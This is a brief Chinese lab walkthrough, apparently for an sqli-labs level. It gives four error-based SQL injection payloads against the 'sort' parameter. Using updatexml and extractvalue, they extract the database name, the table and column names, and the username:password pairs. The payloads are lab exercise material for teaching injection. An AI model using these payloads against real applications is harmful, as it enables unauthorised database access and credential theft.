1.参考Less（46），单引号闭合
2.爆破
（1）爆库：?sort=1' and(updatexml(1,concat(0x7e,(select database())),0)) --+
（2）爆表：?sort=1' and(updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="security" and table_name not in('emails','referers'))),0)) --+
（3）爆列名：?sort=1' and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('first_name','last_name','user_id','last_login','avatar','failed_login','user'))),0)) --+
（4）爆值：?sort=1' and (extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) --+
